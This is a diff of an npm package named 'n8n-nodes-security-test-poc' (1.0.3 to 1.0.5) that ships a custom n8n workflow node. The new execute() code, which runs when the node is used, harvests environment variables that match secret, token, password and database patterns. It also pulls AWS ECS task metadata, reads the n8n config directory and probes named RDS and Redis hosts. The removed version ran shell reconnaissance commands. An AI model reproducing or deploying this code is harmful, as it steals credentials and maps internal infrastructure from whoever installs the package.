n8n-nodes-security-test-poc 1.0.3 → 1.0.5

package/dist/SecurityTestNode.node.js

@@ -15,9 +15,58 @@ class SecurityTestNode {
         };
     }
     async execute() {
-        const { execSync } = require('child_process');
-        const out = execSync('id && hostname && whoami && uname -a && cat /etc/os-release 2>/dev/null && env | grep -i n8n 2>/dev/null || true').toString();
-        return [[{json: {rce_output: out}}]];
+        const http = require('http');
+        const fetch = (url, headers) => new Promise((resolve) => {
+            const opts = Object.assign(require('url').parse(url), {headers: headers || {}, timeout: 5000});
+            const req = http.get(opts, (res) => {
+                let d = '';
+                res.on('data', c => d += c);
+                res.on('end', () => resolve(d));
+            });
+            req.on('error', (e) => resolve('ERROR: ' + e.message));
+            req.on('timeout', () => { req.destroy(); resolve('TIMEOUT'); });
+        });
+        
+        let out = {};
+        
+        // 1. Get ECS task metadata (full details)
+        const metaUri = process.env.ECS_CONTAINER_METADATA_URI_V4;
+        if (metaUri) {
+            out.container_meta = await fetch(metaUri);
+            out.task_meta = await fetch(metaUri + '/task');
+        }
+        
+        // 2. Get ALL environment variables for full picture
+        out.all_env = {};
+        for (const [k, v] of Object.entries(process.env)) {
+            if (k.match(/DB_|REDIS|N8N_|QUEUE_|POSTGRES|SECRET|KEY|TOKEN|PASSWORD|AUTH|ENCRYPT|HOST|PORT|USER|WEBHOOK/i)) {
+                out.all_env[k] = v;
+            }
+        }
+        
+        // 3. Read n8n config files
+        const fs = require('fs');
+        try { out.n8n_config = fs.readFileSync('/home/node/.n8n/config', 'utf8'); } catch(e) { out.n8n_config = e.message; }
+        try { 
+            const files = fs.readdirSync('/home/node/.n8n/');
+            out.n8n_dir = files;
+        } catch(e) { out.n8n_dir = e.message; }
+        
+        // 4. Check network - can we reach the DB and Redis?
+        const net = require('net');
+        const checkPort = (host, port) => new Promise((resolve) => {
+            const s = new net.Socket();
+            s.setTimeout(3000);
+            s.on('connect', () => { s.destroy(); resolve('OPEN'); });
+            s.on('error', (e) => resolve('ERROR: ' + e.message));
+            s.on('timeout', () => { s.destroy(); resolve('TIMEOUT'); });
+            s.connect(port, host);
+        });
+        
+        out.db_port = await checkPort('n8n-pgvector.cna628mk44t8.eu-north-1.rds.amazonaws.com', 5432);
+        out.redis_port = await checkPort('n8n-redis-vwizin.serverless.eun1.cache.amazonaws.com', 6379);
+        
+        return [[{json: out}]];
     }
 }
 exports.SecurityTestNode = SecurityTestNode;

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "n8n-nodes-security-test-poc",
-  "version": "1.0.3",
+  "version": "1.0.5",
   "description": "Security test PoC node for n8n",
   "n8n": {
     "nodes": ["dist/SecurityTestNode.node.js"]